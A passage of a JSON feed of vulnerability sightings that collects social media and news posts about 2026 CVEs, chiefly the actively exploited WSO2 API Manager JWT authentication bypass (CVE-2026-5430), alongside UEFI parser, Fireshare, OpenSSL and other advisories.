1.2...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54174/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-11T22:00:10.718860Z"}, {"uuid": "19ea7b54-247a-4087-8c7e-3114def2cb6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mvgcuxsdnv2w", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-54694: SkillTree is a micro-learning gamification platform\nCVSS 9.6\nhttps://beta.vulnsea.com/cve/CVE-2026-54694\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-13T19:20:29.740133Z"}, {"uuid": "acb0646d-ce0b-4d83-bc5b-74631a0c4fb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mvggawpieb2p", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-54694: SkillTree is a micro-learning gamification platform\nCVSS 9.6\nhttps://beta.vulnsea.com/cve/CVE-2026-54694\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-13T20:20:58.237786Z"}, {"uuid": "455fadba-1952-4685-9a46-7cb56048d45a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/dfvCKy19LdeRjtEqhcraGN2yMY0QlrZmHiFOXJRBkeySQpk", "content": "", "creation_timestamp": "2026-09-14T03:00:12.438660Z"}, {"uuid": "d5278546-323c-4ebc-80c5-2c612c7d1e2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54150", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/foxubzcnwv6la", "content": "CVE-2026-54150 - next-video: Unauthenticated arbitrary file read via /api/video request handler\nCVE ID : CVE-2026-54150\n \n Published : Sept. 14, 2026, 5:25 p.m. | 17\u00a0minutes ago\n \n Description : next-video is a library for adding video to Next.js applications. Prior to 2.8.1, ...", "creation_timestamp": "2026-09-14T18:50:39.667473Z"}, {"uuid": "242add09-5200-40f3-ab6d-4d8c0a2c0644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54333", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvj35ir7hp2p", "content": "CVE-2026-54333 - uefi-firmware-parser\nThe UEFI Firmware Parser tool (versions before 1.14) can mishandle specially crafted firmware data, causing it to write past its own memory space. This can make the program\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#theopolis #CVE #infosec", "creation_timestamp": "2026-09-14T21:40:05.249945Z"}, {"uuid": "ca8512b4-c756-4b89-9e50-999e39018052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54334", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvj35kwdxm2j", "content": "CVE-2026-54334 - uefi-firmware-parser\nVersions of the UEFI Firmware Parser before 1.14 can be fooled by specially crafted BIOS or firmware files. The parser may write beyond its internal memory area, causing the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#theopolis #CVE #infosec", "creation_timestamp": "2026-09-14T21:40:07.379900Z"}, {"uuid": "81d2629d-0c1f-41e7-ad61-4dcdd4ec8f01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54333", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvj4qbug6g2t", "content": "\ud83d\udea8 CVE-2026-54333 \u2014 CVSS 9.8 CRITICAL\n\nUEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, a...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54333\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-14T22:08:28.991962Z"}, {"uuid": "accbf4aa-af29-4b6b-af97-28560f254a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54334", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvj4qknfnk2j", "content": "\ud83d\udea8 CVE-2026-54334 \u2014 CVSS 9.8 CRITICAL\n\nUEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, a...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54334\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-14T22:08:38.150651Z"}, {"uuid": "a8cf2bd3-919a-4829-9a65-b1d763c1c259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/dfvCKy19LdeRjtEqhcraGN2yMY0QlrZmHiFOXJRBkeySQpk", "content": "", "creation_timestamp": "2026-09-15T00:00:23.499394Z"}, {"uuid": "1ea17383-edd6-41ae-9daa-ce3be1775ba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54333", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvkmd4dx7d2t", "content": "CVE-2026-54333 - uefi-firmware\nThe UEFI Firmware Parser is prone to a critical flaw that can cause it to crash or be exploited by hackers. This is due to a bug in how it handles certain types of firmware\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#uefifirmware #pip #CVE #infosec", "creation_timestamp": "2026-09-15T12:20:06.744859Z"}, {"uuid": "63c0ce56-fa24-4236-a646-c05326094d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54334", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvkmuxhnfd2p", "content": "CVE-2026-54334 - uefi-firmware\nThe UEFI Firmware Parser has a flaw that can cause a crash or allow an attacker to run malicious code on a computer. This issue affects the UEFI Firmware Parser, a tool used\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#uefifirmware #pip #CVE #infosec", "creation_timestamp": "2026-09-15T12:30:05.693092Z"}, {"uuid": "e479e07a-e86f-4ca6-9460-bb45964dcf10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54876", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvkon2impk2u", "content": "\u300cOpenSSL\u300d\u306b\u8106\u5f31\u6027 - \u4eca\u5f8c\u306e\u30ea\u30ea\u30fc\u30b9\u3067\u4fee\u6b63\u4e88\u5b9a\n\n\u300cOpenSSL\u300d\u306b\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u91cd\u8981\u5ea6\u306f\u300c\u4f4e\u300d\u3068\u3055\u308c\u3066\u304a\u308a\u3001\u4eca\u5f8c\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u4fee\u6b63\u3055\u308c\u308b\u898b\u8fbc\u307f\u3002\n\n\u300c\u540c4.0\u300d\u300c\u540c3.6\u300d\u306e\u300cTLS\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u300d\u306b\u304a\u3044\u3066\u3001OCSP\u5fdc\u7b54\u306e\u691c\u8a3c\u6642\u306b\u30e1\u30e2\u30ea\u30ea\u30fc\u30af\u304c\u767a\u751f\u3059\u308b\u8106\u5f31\u6027\u300cCVE-2026-54876\u300d\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3082\u306e\u3002\n\nOCSP\u5fdc\u7b54\u306e\u691c\u8a3c\u6a5f\u80fd\u3092\u6709\u52b9\u5316\u3057\u305f\u5834\u5408\u306b\u5f71\u97ff\u304c\u3042\u308a\u3001\u60aa\u610f\u3042\u308bTLS\u30b5\u30fc\u30d0\u3078\u7e70\u308a\u8fd4\u3057\u63a5\u7d9a\u3057\u3001\u7d30\u5de5\u3055\u308c\u305fOCSP\u5fdc\u7b54\u3092\u53d7\u4fe1\u3059\u308b\u3053\u3068\u3067\u30e1\u30e2\u30ea\u304c\u89e3\u653e\u3055\u308c\u305a\u306b\u30ea\u30bd\u30fc\u30b9\u3092\u6d88\u8cbb\u3057\u3001\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u304c\u751f\u3058\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\n\n\u958b\u767a\u30c1\u30fc\u30e0\u3067\u306f\u540c\u8106\u5f31\u6027\u306e\u91cd\u8981\u5ea6\u3092\u300c\u4f4e...", "creation_timestamp": "2026-09-15T13:01:28.674422Z"}, {"uuid": "d1638fe8-50a9-4612-8ad4-36eb85b579db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54337", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mvlk53k2ux2c", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-54337: Fireshare has Unauthenticated Argument Injection to Arbitrary File Write/Overwrite\nCVSS 9.8\nhttps://beta.vulnsea.com/cve/CVE-2026-54337\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-15T21:13:36.947217Z"}, {"uuid": "04254ec1-e905-4652-844f-917c9ea3e9e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54337", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mvmculqz6q2x", "content": "Fireshare 1.6.14\u672a\u6e80\u3067\u306f\u3001\u52d5\u753b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6a5f\u80fd\u306b\u5f15\u6570\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u3001\u672a\u8a8d\u8a3c\u306e\u653b\u6483\u8005\u304c\u30b7\u30b9\u30c6\u30e0\u30d5\u30a1\u30a4\u30eb\u3092\u66f8\u304d\u63db\u3048\u3089\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-54337 CVSS 9.8 | CRITICAL", "creation_timestamp": "2026-09-16T04:36:15.585312Z"}, {"uuid": "ab61d562-0778-4e3a-8bf2-e7e86242106a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3mvmlhm4caz2n", "content": "Patch WSO2 API Manager now \u2014 CVE-2026-5430 (CVSS 9.8) lets attackers forge admin JWTs for full account takeover. watchTowr reports active exploitation since 13 Sept. https://thehackernews.com/2026/09/active-exploitation-attempts-target.html", "creation_timestamp": "2026-09-16T07:10:04.860683Z"}, {"uuid": "2a21f06c-125c-4fb2-85c4-d13358dba545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/devopsbriefly.bsky.social/post/3mvmr6nmdtr2v", "content": "CVE-2026-5430 in WSO2 middleware is being exploited to bypass JWT authentication, enabling account takeover and access to API backends and credentials.\n", "creation_timestamp": "2026-09-16T08:52:26.547109Z"}, {"uuid": "64a0d356-9a96-4d2b-b373-a6281718c42d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://gist.github.com/ichintu/267a83b424137af67bec5f39bcd35594", "content": "This daily threat intelligence digest highlights four critical security updates from September 2026:\n\n\u2022 **Arista EOS (CVE-2026-73447):** Critical (9.4) OS command injection in gNSI Certz/Bootz services allows authenticated users to escalate privileges and fully compromise devices.\n\u2022 **WSO2 API Manager (CVE-2026-5430):** Critical (9.8) JWT signature verification flaw enables forged admin tokens for account takeover; actively exploited in the wild.\n\u2022 **Oracle September 2026 CSPU:** Major patch release addressing 673 vulnerabilities, including several rated CVSS 10.0.\n\u2022 **VeloCloud Edge (CVE-2026-86108):** High (8.0) input validation weakness in management workflows can be abused for elevated OS command execution.\n\n**Recommendation:** Organizations should prioritize immediate patching and threat monitoring for these critical flaws to prevent privilege escalation, account compromise, and active exploitation.", "creation_timestamp": "2026-09-16T08:02:29.847818Z"}, {"uuid": "c7ffe78e-4c32-4ca8-b34b-15e891a37feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mvmpw6mheq2z", "content": "\ud83e\udd16 CVE-2026-5430 (CVSS 9.8): critical JWT auth bypass in WSO2 API Manager actively exploited in the wild. Forged admin tokens allow full account takeover. Patch now.\nhttps://thehackernews.com/2026/09/active-exploitation-attempts-target.html", "creation_timestamp": "2026-09-16T08:29:47.391271Z"}, {"uuid": "a700d96c-a797-4e1c-a4ef-9441d18545b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mvmr4lu2hk2p", "content": "CVE-2026-5430 in WSO2 middleware is being exploited to bypass JWT authentication, enabling account takeover and access to API backends and credentials.\n", "creation_timestamp": "2026-09-16T08:51:16.772716Z"}, {"uuid": "6b104104-c982-4e8c-a7ef-cc2374ce1e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/privpros.bsky.social/post/3mvmr6cq3vx22", "content": "CVE-2026-5430 in WSO2 middleware is being exploited to bypass JWT authentication, enabling account takeover and access to API backends and credentials.\n", "creation_timestamp": "2026-09-16T08:52:14.298485Z"}, {"uuid": "787fc4fc-8796-4aba-9709-fe2bfa9673e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://t.me/thehackernews/10066", "content": "\u26a0\ufe0f Forged admin JWTs are being used in WSO2 API Manager exploitation attempts.\n\nCVE-2026-5430 lets unsupported JWT algorithms bypass authentication and can lead to account takeover. Fixes are available.\n\nRead: https://thehackernews.com/2026/09/active-exploitation-attempts-target.html", "creation_timestamp": "2026-09-16T09:00:04.032868Z"}, {"uuid": "3212ecd1-c43e-4ec7-94f2-4c5cfd5440ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://t.me/CyberDispatch/2964", "content": "Forged admin JWTs are being used in WSO2 API Manager exploitation attempts.\n\nCVE-2026-5430 lets unsupported JWT algorithms bypass authentication and can lead to account takeover. Fixes are available.", "creation_timestamp": "2026-09-16T10:00:05.375373Z"}, {"uuid": "98e1fbe5-1d16-43bc-90f8-974e942e936e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://thehackernews.com/2026/09/active-exploitation-attempts-target.html", "content": "A critical security flaw in WSO2 API Manager has come under active exploitation in the wild, according to findings from watchTowr.\n\nThe vulnerability, tracked as CVE-2026-5430 (CVSS score: 9.8/10.0), is a case of improper verification of a cryptographic signature that could result in account takeover. Hacktron Team has been credited with discovering and reporting the flaw.\n\n\"JWT authentication", "creation_timestamp": "2026-09-16T10:00:45.367718Z"}, {"uuid": "52531a01-0892-4f8b-9f56-5eab0529e2bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://www.securityweek.com/enterprises-warned-of-attacks-exploiting-wso2-vulnerability/", "content": "The vulnerability, tracked as CVE-2026-5430, can be exploited to gain access to valuable enterprise data.\n\nThe post Enterprises Warned of Attacks Exploiting WSO2 Vulnerability appeared first on SecurityWeek.", "creation_timestamp": "2026-09-16T10:00:45.526665Z"}, {"uuid": "7acc8523-f48f-433d-9f67-72b116488951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mvmzkw6otj2r", "content": "WSO2 API Manager \u306b\u3001\u7ba1\u7406\u8005\u30c8\u30fc\u30af\u30f3\u507d\u88c5\u306b\u3088\u308b JWT \u30d0\u30a4\u30d1\u30b9\u306e\u8106\u5f31\u6027 (CVE-2026-5430) \u304c\u767a\u898b\u3055\u308c\u3001\u6d3b\u767a\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30a2\u30ab\u30a6\u30f3\u30c8\u4e57\u3063\u53d6\u308a\u306e\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002(\u2026", "creation_timestamp": "2026-09-16T11:22:28.143872Z"}, {"uuid": "96e13109-4cda-459a-943b-a2be6d3fd6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://infosec.exchange/users/cloud/statuses/117279777014363970", "content": "\ud83e\udd16 CVE-2026-5430 (CVSS 9.8): critical JWT auth bypass in WSO2 API Manager under active exploitation. Attackers forge admin tokens via improper crypto signature verification, leading to full account takeover. Details by watchTowr.\ud83d\udd17 https://thehackernews.com/2026/09/active-exploitation-attempts-target.html#CVE #InfoSec #CyberSec", "creation_timestamp": "2026-09-16T13:59:15.474778Z"}, {"uuid": "1c114730-cf96-4241-9f1b-50b3fa314825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "exploited", "source": "https://t.me/ViralCyber/26273", "content": "\ud83d\udd34\u062a\u0644\u0627\u0634\u200c\u0647\u0627\u06cc \u0641\u0639\u0627\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0646\u0642\u0635 \u062f\u0648\u0631 \u0632\u062f\u0646 JWT \u062f\u0631 WSO2 API Manager \u0628\u0627 \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc \u062c\u0639\u0644\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc\n\n\u0634\u0631\u06a9\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc watchTowr \u0627\u0632 \u062a\u0644\u0627\u0634\u200c\u0647\u0627\u06cc \u0641\u0639\u0627\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u062f\u0631 WSO2 API Manager \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-5430 (\u0627\u0645\u062a\u06cc\u0627\u0632 \u06f9.\u06f8) \u062e\u0628\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0646\u0642\u0635\u060c \u0646\u0627\u0634\u06cc \u0627\u0632 \u0628\u0631\u0631\u0633\u06cc \u0646\u0627\u062f\u0631\u0633\u062a \u0627\u0645\u0636\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 \u0641\u0631\u0627\u06cc\u0646\u062f \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a JWT \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc \u0627\u0645\u0636\u0627\u0634\u062f\u0647 \u0628\u0627 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc\u200c\u0646\u0634\u062f\u0647\u060c \u0627\u062c\u0627\u0632\u0647 \u0639\u0628\u0648\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u0648 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u062a\u0635\u0627\u062d\u0628 \u06a9\u0627\u0645\u0644 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc\u060c \u0645\u0646\u062c\u0631 \u0634\u0648\u062f.\n\n\u0647\u0627\u0646\u06cc\u200c\u067e\u0627\u062a\u200c\u0647\u0627\u06cc watchTowr \u062f\u0631 \u062a\u0627\u0631\u06cc\u062e \u06f1\u06f3 \u0633\u067e\u062a\u0627\u0645\u0628\u0631\u060c \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc JWT \u062c\u0639\u0644\u06cc \u062d\u0627\u0648\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u067e\u06cc\u0634 \u062a\u0639\u0628\u06cc\u0647\u200c\u0634\u062f\u0647 \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635\u060c \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u06f4.\u06f1.\u06f0 \u062a\u0627 \u06f4.\u06f6.\u06f0 \u0627\u0632 API Manager\u060c API Control Plane\u060c Traffic Manager \u0648 Universal Gateway \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\u0628\u0647 \u06af\u0641\u062a\u0647 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646\u060c \u0627\u06cc\u0646 \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc \u062c\u0639\u0644\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u062a\u0645\u0627\u0645 \u0646\u0642\u0627\u0637 \u067e\u0627\u06cc\u0627\u0646\u06cc \u0628\u06a9\u200c\u0627\u0646\u062f\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u0645\u0635\u0631\u0641\u200c\u06a9\u0646\u0646\u062f\u0647 \u0648 \u0627\u0633\u0631\u0627\u0631 \u062a\u0645\u0627\u0645 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u062b\u0628\u062a\u200c\u0634\u062f\u0647 \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u0646\u062f \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0645\u06a9\u0627\u0646 \u062d\u0631\u06a9\u062a \u062c\u0627\u0646\u0628\u06cc \u062f\u0631 \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u062f\u0627\u062e\u0644\u06cc \u0633\u0627\u0632\u0645\u0627\u0646 \u0631\u0627 \u0628\u062f\u0647\u0646\u062f.\n\n\n\u062c\u0647\u062a \u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u0627\u0645\u0644 \u062e\u0628\u0631 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f\n\n\ud83c\udd94 @TakianCo\n\ud83c\uddee\ud83c\uddf7", "creation_timestamp": "2026-09-16T16:00:03.852808Z"}, {"uuid": "a29e519e-dd70-4193-9176-5b3c769a622a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mvnjc6tadd2t", "content": "Critical auth bypass (CVE-2026-5430, CVSS 10.0) in WSO2 API Manager is now actively exploited. Attackers can take over admin accounts. Patched in April 2026, ensure your systems are updated! #WSO2 #APISecurity #CyberAttack\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-09-16T16:03:54.361331Z"}, {"uuid": "9cf94fce-84c4-40c8-baa3-b36aaa23b674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5430", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117281560448148242", "content": "\ud83d\udcf0 Critical WSO2 API Flaw Under Active Attack, Exposes Enterprise Data\nCritical auth bypass (CVE-2026-5430, CVSS 10.0) in WSO2 API Manager is now actively exploited. Attackers can take over admin accounts. Patched in April 2026, ensure your systems are updated! #WSO2 #APISecurity #CyberAttack\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-wso2-api-vulnerability-cve-2026-5430-actively-exploited/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-09-16T16:03:15.299603Z"}, {"uuid": "526e3195-1b15-4d7e-9fbb-3fee8d3b21ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mvo3jewp2k2d", "content": "Active Exploitation Attempts Target WSO2 API Manager JWT Bypass With Forged Admin Tokens\n\nA critical security flaw in WSO2 API Manager has come under active exploitation in the wild, according to findings from watchTowr.\n\nThe vulnerability, tracked as CVE-2026-5430 (CVSS score: 9.\u2026\n#hackernews #news", "creation_timestamp": "2026-09-16T21:30:03.120392Z"}, {"uuid": "ff95bcf9-9dbd-4637-86b6-96debf9ae60c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "exploited", "source": "https://t.me/ViralCyber/26273", "content": "\ud83d\udd34\u062a\u0644\u0627\u0634\u200c\u0647\u0627\u06cc \u0641\u0639\u0627\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0646\u0642\u0635 \u062f\u0648\u0631 \u0632\u062f\u0646 JWT \u062f\u0631 WSO2 API Manager \u0628\u0627 \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc \u062c\u0639\u0644\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc\n\n\u0634\u0631\u06a9\u062a \u0627\u0645\u0646\u06cc\u062a\u06cc watchTowr \u0627\u0632 \u062a\u0644\u0627\u0634\u200c\u0647\u0627\u06cc \u0641\u0639\u0627\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u062f\u0631 WSO2 API Manager \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-5430 (\u0627\u0645\u062a\u06cc\u0627\u0632 \u06f9.\u06f8) \u062e\u0628\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0646\u0642\u0635\u060c \u0646\u0627\u0634\u06cc \u0627\u0632 \u0628\u0631\u0631\u0633\u06cc 